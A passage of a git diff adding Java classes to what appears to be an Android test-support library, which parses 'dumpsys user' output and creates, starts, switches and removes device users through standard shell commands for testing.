+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.full.SECONDARY:
+ *         mName: android.os.usertype.full.SECONDARY
+ *         mBaseType: FULL
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: 0
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             no_sms
+ *             no_outgoing_calls
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.full.RESTRICTED:
+ *         mName: android.os.usertype.full.RESTRICTED
+ *         mBaseType: FULL
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: RESTRICTED
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             null
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.full.DEMO:
+ *         mName: android.os.usertype.full.DEMO
+ *         mBaseType: FULL
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: DEMO
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             null
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *
+ * Whitelisted packages per user type
+ *     Mode: 13 (enforced) (implicit)
+ *     Legend
+ *         0 -> android.os.usertype.full.DEMO
+ *         1 -> android.os.usertype.full.GUEST
+ *         2 -> android.os.usertype.full.RESTRICTED
+ *         3 -> android.os.usertype.full.SECONDARY
+ *         4 -> android.os.usertype.full.SYSTEM
+ *         5 -> android.os.usertype.profile.MANAGED
+ *         6 -> android.os.usertype.system.HEADLESS
+ *     20 packages:
+ *         com.android.internal.display.cutout.emulation.corner: 0 1 2 3 4
+ *         com.android.internal.display.cutout.emulation.double: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.gestural_wide_back: 0 1 2 3 4
+ *         com.android.wallpapercropper: 0 1 2 3 4
+ *         com.android.internal.display.cutout.emulation.tall: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.threebutton: 0 1 2 3 4
+ *         android: 0 1 2 3 4 5 6
+ *         com.google.android.deskclock: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.twobutton: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.gestural_extra_wide_back: 0 1 2 3 4
+ *         com.android.providers.settings: 0 1 2 3 4 5 6
+ *         com.google.android.calculator: 0 1 2 3 4
+ *         com.google.android.apps.wallpaper.nexus: 0 1 2 3 4
+ *         com.google.android.apps.nexuslauncher: 0 1 2 3 4
+ *         com.android.wallpaper.livepicker: 0 1 2 3 4
+ *         com.google.android.apps.wallpaper: 0 1 2 3 4
+ *         com.android.wallpaperbackup: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.gestural: 0 1 2 3 4
+ *         com.android.pixellogger: 0 1 2 3 4
+ *         com.android.internal.systemui.navbar.gestural_narrow_back: 0 1 2 3 4
+ *     No errors
+ *     2 warnings
+ *         com.android.wallpapercropper is whitelisted but not present.
+ *         com.google.android.apps.wallpaper.nexus is whitelisted but not present.
+ * }
+ */
+@RequiresApi(Build.VERSION_CODES.R)
+public class AdbUserParser30 extends AdbUserParser26 {
+
+    static int USER_TYPES_LIST_BASE_INDENTATION = 4;
+
+    private Map<String, UserType> mUserTypes;
+
+    AdbUserParser30(TestApis testApis) {
+        super(testApis);
+    }
+
+    @Override
+    public ParseResult parse(String dumpsysUsersOutput) throws AdbParseException {
+        mUserTypes = parseUserTypes(dumpsysUsersOutput);
+
+        ParseResult parseResult = super.parse(dumpsysUsersOutput);
+        parseResult.mUserTypes = mUserTypes;
+
+        return parseResult;
+    }
+
+    @Override
+    User.MutableUser parseUser(String userString) throws AdbParseException {
+        // This will be called after parseUserTypes, so the user types are already accessible
+        User.MutableUser user = super.parseUser(userString);
+
+        try {
+            user.mIsPrimary = Boolean.parseBoolean(
+                    userString.split("isPrimary=", 2)[1].split("[ \n]", 2)[0]);
+            user.mType = mUserTypes.get(userString.split("Type: ", 2)[1].split("\n", 2)[0]);
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error parsing user", userString, e);
+        }
+
+        return user;
+    }
+
+    Map<String, UserType> parseUserTypes(String dumpsysUsersOutput) throws AdbParseException {
+        String userTypesList = extractUserTypesList(dumpsysUsersOutput);
+        Set<String> userTypeStrings = extractUserTypesStrings(userTypesList);
+
+        Map<String, UserType> userTypes = new HashMap<>();
+        for (String userTypeString : userTypeStrings) {
+            UserType userType = new UserType(parseUserType(userTypeString));
+            userTypes.put(userType.name(), userType);
+        }
+
+        return userTypes;
+    }
+
+    String extractUserTypesList(String dumpsysUsersOutput) throws AdbParseException {
+        try {
+            return dumpsysUsersOutput.split(
+                    "User types \\(\\d+ types\\):\n", 2)[1].split("\n\n", 2)[0];
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error extracting user types list", dumpsysUsersOutput, e);
+        }
+    }
+
+    Set<String> extractUserTypesStrings(String userTypesList) throws AdbParseException {
+        return extractIndentedSections(userTypesList, USER_TYPES_LIST_BASE_INDENTATION);
+    }
+
+    UserType.MutableUserType parseUserType(String userTypeString) throws AdbParseException {
+        try {
+            UserType.MutableUserType userType = new UserType.MutableUserType();
+
+            userType.mName = userTypeString.split("mName: ", 2)[1].split("\n")[0];
+            userType.mBaseType = new HashSet<>();
+            for (String baseType : userTypeString.split("mBaseType: ", 2)[1]
+                    .split("\n")[0].split("\\|")) {
+                if (!baseType.isEmpty()) {
+                    userType.mBaseType.add(UserType.BaseType.valueOf(baseType));
+                }
+            }
+
+            userType.mEnabled = Boolean.parseBoolean(
+                    userTypeString.split("mEnabled: ", 2)[1].split("\n")[0]);
+            userType.mMaxAllowed = Integer.parseInt(
+                    userTypeString.split("mMaxAllowed: ", 2)[1].split("\n")[0]);
+            userType.mMaxAllowedPerParent = Integer.parseInt(
+                    userTypeString.split("mMaxAllowedPerParent: ", 2)[1].split("\n")[0]);
+
+            return userType;
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error parsing userType", userTypeString, e);
+        }
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
new file mode 100644
index 0000000..4b1b385
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+/**
+ * Parser for "adb dumpsys user" on Android 30+
+ *
+ * <p>Example output:
+ * {@code
+ *
+ * }
+ */
+@RequiresApi(Build.VERSION_CODES.S)
+// TODO(scottjonathan): Replace ADB calls for S with test apis
+public class AdbUserParser31 extends AdbUserParser30 {
+
+    AdbUserParser31(TestApis testApis) {
+        super(testApis);
+    }
+
+    @Override
+    User.MutableUser parseUser(String userString) throws AdbParseException {
+        User.MutableUser user = super.parseUser(userString);
+
+        if (user.mType.baseType().contains(UserType.BaseType.PROFILE)) {
+            try {
+                user.mParent = mTestApis.users().find(
+                        Integer.parseInt(userString.split("parentId=")[1].split("[ \n]")[0]));
+            } catch (IndexOutOfBoundsException e) {
+                throw new AdbParseException("Error parsing user", userString, e);
+            }
+        }
+
+        return user;
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
new file mode 100644
index 0000000..726c6e6
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import com.android.bedstead.nene.TestApis;
+
+/**
+ * Default implementation of {@link UserReference}.
+ *
+ * <p>Represents the abstract idea of a {@link User}, which may or may not exist.
+ */
+public final class UnresolvedUser extends UserReference {
+    UnresolvedUser(TestApis testApis, int id) {
+        super(testApis, id);
+    }
+
+    @Override
+    public String toString() {
+        return "UnresolvedUser{id=" + id() + "}";
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
new file mode 100644
index 0000000..e55a09e
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.TestApis;
+
+/**
+ * Representation of a user on an Android device.
+ *
+ * <p>{@link User} information represents the state of the device at construction time. To get an
+ * updated reflection of the user on the device, see {@link #resolve()}.
+ */
+public final class User extends UserReference {
+
+    private static final String LOG_TAG = "User";
+
+    /* From UserInfo */
+    static final int FLAG_MANAGED_PROFILE = 0x00000020;
+
+    public enum UserState {
+        NOT_RUNNING,
+        RUNNING_LOCKED,
+        RUNNING_UNLOCKED,
+        RUNNING_UNLOCKING,
+        STOPPING,
+        SHUTDOWN,
+        UNKNOWN;
+
+        static UserState fromDumpSysValue(String value) {
+            try {
+                return UserState.valueOf(value);
+            } catch (IllegalArgumentException e) {
+                if (value.equals("-1")) {
+                    return NOT_RUNNING;
+                }
+                Log.w(LOG_TAG, "Unknown user state string: " + value);
+                return UNKNOWN;
+            }
+        }
+    }
+
+    static final class MutableUser {
+        Integer mId;
+        @Nullable Integer mSerialNo;
+        @Nullable String mName;
+        @Nullable UserType mType;
+        @Nullable Boolean mHasProfileOwner;
+        @Nullable Boolean mIsPrimary;
+        @Nullable UserState mState;
+        @Nullable Boolean mIsRemoving;
+        @Nullable Integer mFlags;
+        @Nullable UserReference mParent;
+    }
+
+    final MutableUser mMutableUser;
+
+    User(TestApis testApis, MutableUser mutableUser) {
+        super(testApis, mutableUser.mId);
+        mMutableUser = mutableUser;
+    }
+
+    /** Get the serial number of the user. */
+    public Integer serialNo() {
+        return mMutableUser.mSerialNo;
+    }
+
+    /** Get the name of the user. */
+    public String name() {
+        return mMutableUser.mName;
+    }
+
+    /** Get the {@link UserState} of the user. */
+    public UserState state() {
+        return mMutableUser.mState;
+    }
+
+    /** True if the user is currently being removed. */
+    public boolean isRemoving() {
+        return mMutableUser.mIsRemoving;
+    }
+
+    /**
+     * Get the user type.
+     */
+    public UserType type() {
+        return mMutableUser.mType;
+    }
+
+    /** {@code true} if the user has a profile owner. */
+    public Boolean hasProfileOwner() {
+        return mMutableUser.mHasProfileOwner;
+    }
+
+    /**
+     * Return {@code true} if this is the primary user.
+     */
+    public Boolean isPrimary() {
+        return mMutableUser.mIsPrimary;
+    }
+
+    boolean hasFlag(int flag) {
+        if (mMutableUser.mFlags == null) {
+            return false;
+        }
+        return (mMutableUser.mFlags & flag) != 0;
+    }
+
+    /**
+     * Return the parent of this profile.
+     *
+     * <p>Returns {@code null} if this user is not a profile.
+     */
+    @Nullable
+    public UserReference parent() {
+        return mMutableUser.mParent;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("User{");
+        stringBuilder.append("id=" + mMutableUser.mId);
+        stringBuilder.append(", serialNo=" + mMutableUser.mSerialNo);
+        stringBuilder.append(", name=" + mMutableUser.mName);
+        stringBuilder.append(", type=" + mMutableUser.mType);
+        stringBuilder.append(", hasProfileOwner" + mMutableUser.mHasProfileOwner);
+        stringBuilder.append(", isPrimary=" + mMutableUser.mIsPrimary);
+        stringBuilder.append(", state=" + mMutableUser.mState);
+        stringBuilder.append(", parent=" + mMutableUser.mParent);
+        stringBuilder.append("}");
+        return stringBuilder.toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
new file mode 100644
index 0000000..3172c86
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
+import static com.android.bedstead.nene.users.Users.SYSTEM_USER_ID;
+
+import android.os.Build;
+
+import androidx.annotation.CheckResult;
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+
+import java.util.UUID;
+
+/**
+ * Builder for creating a new Android User.
+ */
+public class UserBuilder {
+
+    private final TestApis mTestApis;
+    private String mName;
+    private @Nullable UserType mType;
+    private @Nullable UserReference mParent;
+
+    UserBuilder(TestApis testApis) {
+        mTestApis = testApis;
+    }
+
+    /**
+     * Set the user's name.
+     */
+    @CheckResult
+    public UserBuilder name(String name) {
+        if (name == null) {
+            throw new NullPointerException();
+        }
+        mName = name;
+        return this;
+    }
+
+    /**
+     * Set the {@link UserType}.
+     *
+     * <p>Defaults to android.os.usertype.full.SECONDARY
+     */
+    @CheckResult
+    public UserBuilder type(UserType type) {
+        if (type == null) {
+            // We don't want to allow null to be passed in explicitly as that would cause subtle
+            // bugs when chaining with .supportedType() which can return null
+            throw new NullPointerException("Can not set type to null");
+        }
+        mType = type;
+        return this;
+    }
+
+    /**
+     * Set the parent of the new user.
+     *
+     * <p>This should only be set if the {@link #type(UserType)} is a profile.
+     */
+    @CheckResult
+    public UserBuilder parent(UserReference parent) {
+        mParent = parent;
+        return this;
+    }
+
+    /** Create the user. */
+    public UserReference create() {
+        if (mName == null) {
+            mName = UUID.randomUUID().toString();
+        }
+
+        ShellCommand.Builder commandBuilder = ShellCommand.builder("pm create-user");
+
+        if (mType != null) {
+            if (mType.baseType().contains(UserType.BaseType.SYSTEM)) {
+                throw new NeneException(
+                        "Can not create additional system users " + this);
+            }
+
+            if (mType.baseType().contains(UserType.BaseType.PROFILE)) {
+                if (mParent == null) {
+                    throw new NeneException("When creating a profile, the parent user must be"
+                            + " specified");
+                }
+
+                commandBuilder.addOption("--profileOf", mParent.id());
+            } else if (mParent != null) {
+                throw new NeneException("A parent should only be specified when create profiles");
+            }
+
+            if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
+                if (mType.name().equals(MANAGED_PROFILE_TYPE_NAME)) {
+                    if (mParent.id() != SYSTEM_USER_ID) {
+                        // On R, this error will be thrown when we execute the command
+                        throw new NeneException(
+                                "Can not create managed profiles of users other than the "
+                                        + "system user"
+                        );
+                    }
+
+                    commandBuilder.addOperand("--managed");
+                } else if (!mType.name().equals(SECONDARY_USER_TYPE_NAME)) {
+                    // This shouldn't be reachable as before R we can't fetch a list of user types
+                    //  so the only supported ones are system/managed profile/secondary
+                    throw new NeneException(
+                            "Can not create users of type " + mType + " on this device");
+                }
+            } else {
+                commandBuilder.addOption("--user-type", mType.name());
+            }
+        }
+
+        commandBuilder.addOperand(mName);
+
+        // Expected success string is e.g. "Success: created user id 14"
+        try {
+            int userId =
+                    commandBuilder.validate(ShellCommandUtils::startsWithSuccess)
+                            .executeAndParseOutput(
+                                    (output) -> Integer.parseInt(output.split("id ")[1].trim()));
+            return new UnresolvedUser(mTestApis, userId);
+        } catch (AdbException e) {
+            throw new NeneException("Could not create user " + this, e);
+        }
+    }
+
+    /**
+     * Create the user and start it.
+     *
+     * <p>Equivalent of calling {@link #create()} and then {@link User#start()}.
+     */
+    public UserReference createAndStart() {
+        return create().start();
+    }
+
+    @Override
+    public String toString() {
+        return new StringBuilder("UserBuilder{")
+            .append("name=").append(mName)
+            .append(", type=").append(mType)
+            .append("}")
+            .toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
new file mode 100644
index 0000000..b943059
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.User.UserState;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import javax.annotation.Nullable;
+
+/**
+ * A representation of a User on device which may or may not exist.
+ *
+ * <p>To resolve the user into a {@link User}, see {@link #resolve()}.
+ */
+public abstract class UserReference implements AutoCloseable {
+
+    private final TestApis mTestApis;
+    private final int mId;
+
+    UserReference(TestApis testApis, int id) {
+        if (testApis == null) {
+            throw new NullPointerException();
+        }
+        mTestApis = testApis;
+        mId = id;
+    }
+
+    public final int id() {
+        return mId;
+    }
+
+    /**
+     * Get a {@link UserHandle} for the {@link #id()}.
+     */
+    public final UserHandle userHandle() {
+        return UserHandle.of(mId);
+    }
+
+    /**
+     * Get the current state of the {@link User} from the device, or {@code null} if the user does
+     * not exist.
+     */
+    @Nullable
+    public final User resolve() {
+        return mTestApis.users().fetchUser(mId);
+    }
+
+    /**
+     * Remove the user from the device.
+     *
+     * <p>If the user does not exist, or the removal fails for any other reason, a
+     * {@link NeneException} will be thrown.
+     */
+    public final void remove() {
+        try {
+            // Expected success string is "Success: removed user"
+            ShellCommand.builder("pm remove-user")
+                    .addOperand(mId)
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+            mTestApis.users().waitForUserToNotExistOrMatch(this, User::isRemoving);
+        } catch (AdbException e) {
+            throw new NeneException("Could not remove user + " + this, e);
+        }
+    }
+
+    /**
+     * Start the user.
+     *
+     * <p>After calling this command, the user will be in the {@link UserState#RUNNING_UNLOCKED}
+     * state.
+     *
+     * <p>If the user does not exist, or the start fails for any other reason, a
+     * {@link NeneException} will be thrown.
+     */
+    //TODO(scottjonathan): Deal with users who won't unlock
+    public UserReference start() {
+        try {
+            // Expected success string is "Success: user started"
+            ShellCommand.builder("am start-user")
+                    .addOperand(mId)
+                    .addOperand("-w")
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+            User waitedUser = mTestApis.users().waitForUserToNotExistOrMatch(
+                    this, (user) -> user.state() == UserState.RUNNING_UNLOCKED);
+            if (waitedUser == null) {
+                throw new NeneException("User does not exist " + this);
+            }
+        } catch (AdbException e) {
+            throw new NeneException("Could not start user " + this, e);
+        }
+
+        return this;
+    }
+
+    /**
+     * Stop the user.
+     *
+     * <p>After calling this command, the user will be in the {@link UserState#NOT_RUNNING} state.
+     */
+    public UserReference stop() {
+        try {
+            // Expects no output on success or failure - stderr output on failure
+            ShellCommand.builder("am stop-user")
+                    .addOperand("-f") // Force stop
+                    .addOperand(mId)
+                    .allowEmptyOutput(true)
+                    .validate(String::isEmpty)
+                    .execute();
+            User waitedUser = mTestApis.users().waitForUserToNotExistOrMatch(
+                    this, (user) -> user.state() == UserState.NOT_RUNNING);
+            if (waitedUser == null) {
+                throw new NeneException("User does not exist " + this);
+            }
+        } catch (AdbException e) {
+            throw new NeneException("Could not stop user " + this, e);
+        }
+
+        return this;
+    }
+
+    /**
+     * Make the user the foreground user.
+     */
+    public UserReference switchTo() {
+        BlockingBroadcastReceiver broadcastReceiver =
+                new BlockingBroadcastReceiver(mTestApis.context().instrumentedContext(),
+                        Intent.ACTION_USER_FOREGROUND,
+                        (intent) ->((UserHandle)
+                                intent.getParcelableExtra(Intent.EXTRA_USER))
+                                .getIdentifier() == mId);
+
+        try {
+            try (PermissionContext p =
+                         mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                broadcastReceiver.registerForAllUsers();
+            }
+
+            // Expects no output on success or failure
+            ShellCommand.builder("am switch-user")
+                    .addOperand(mId)
+                    .allowEmptyOutput(true)
+                    .validate(String::isEmpty)
+                    .execute();
+
+            broadcastReceiver.awaitForBroadcast();
+        } catch (AdbException e) {
+            throw new NeneException("Could not switch to user", e);
+        } finally {
+            broadcastReceiver.unregisterQuietly();
+        }
+
+        return this;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof UserReference)) {
+            return false;
+        }
+
+        UserReference other = (UserReference) obj;
+
+        return other.id() == id();
+    }
+
+    @Override
+    public int hashCode() {
+        return id();
+    }
+
+    /** See {@link #remove}. */
+    @Override
+    public void close() {
+        remove();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
new file mode 100644
index 0000000..fde4a0b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import java.util.Set;
+
+/**
+ * Represents information about an Android User type.
+ */
+public final class UserType {
+
+    public static final String SECONDARY_USER_TYPE_NAME = "android.os.usertype.full.SECONDARY";
+    public static final String SYSTEM_USER_TYPE_NAME = "android.os.usertype.full.SYSTEM";
+    public static final String MANAGED_PROFILE_TYPE_NAME = "android.os.usertype.profile.MANAGED";
+
+    public static final int UNLIMITED = -1;
+
+    public enum BaseType {
+        SYSTEM, PROFILE, FULL
+    }
+
+    static final class MutableUserType {
+        String mName;
+        Set<BaseType> mBaseType;
+        Boolean mEnabled;
+        Integer mMaxAllowed;
+        Integer mMaxAllowedPerParent;
+    }
+
+    private final MutableUserType mMutableUserType;
+
+    UserType(MutableUserType mutableUserType) {
+        mMutableUserType = mutableUserType;
+    }
+
+    public String name() {
+        return mMutableUserType.mName;
+    }
+
+    public Set<BaseType> baseType() {
+        return mMutableUserType.mBaseType;
+    }
+
+    public Boolean enabled() {
+        return mMutableUserType.mEnabled;
+    }
+
+    /**
+     * The maximum number of this user type allowed on the device.
+     *
+     * <p>This value will be {@link #UNLIMITED} if there is no limit.
+     */
+    public Integer maxAllowed() {
+        return mMutableUserType.mMaxAllowed;
+    }
+
+    /**
+     * The maximum number of this user type allowed for a single parent profile
+     *
+     * <p>This value will be {@link #UNLIMITED} if there is no limit.
+     */
+    public Integer maxAllowedPerParent() {
+        return mMutableUserType.mMaxAllowedPerParent;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("UserType{");
+        stringBuilder.append("name=" + mMutableUserType.mName);
+        stringBuilder.append(", baseType=" + mMutableUserType.mBaseType);
+        stringBuilder.append(", enabled=" + mMutableUserType.mEnabled);
+        stringBuilder.append(", maxAllowed=" + mMutableUserType.mMaxAllowed);
+        stringBuilder.append(", maxAllowedPerParent=" + mMutableUserType.mMaxAllowedPerParent);
+        return stringBuilder.toString();
+    }
+
+    @Override
+    public int hashCode() {
+        return name().hashCode();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (obj == null || !(obj instanceof UserType)) {
+            return false;
+        }
+
+        UserType other = (UserType) obj;
+        return other.name().equals(name());
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
new file mode 100644
index 0000000..c0d2042
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static android.os.Build.VERSION.SDK_INT;
+import static android.os.Process.myUserHandle;
+
+import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
+
+import android.os.Build;
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Function;
+import java.util.stream.Collectors;
+
+public final class Users {
+
+    static final int SYSTEM_USER_ID = 0;
+    private static final long WAIT_FOR_USER_TIMEOUT_MS = 1000 * 60;
+
+    private Map<Integer, User> mCachedUsers = null;
+    private Map<String, UserType> mCachedUserTypes = null;
+    private Set<UserType> mCachedUserTypeValues = null;
+    private final AdbUserParser mParser;
+    private final TestApis mTestApis;
+
+    public Users(TestApis testApis) {
+        mTestApis = testApis;
+        mParser = AdbUserParser.get(mTestApis, SDK_INT);
+    }
+
+    /** Get all {@link User}s on the device. */
+    public Collection<User> all() {
+        fillCache();
+
+        return mCachedUsers.values();
+    }
+
+    /** Get a {@link UserReference} for the user running the current test process. */
+    public UserReference instrumented() {
+        return find(myUserHandle());
+    }
+
+    /** Get a {@link UserReference} for the system user. */
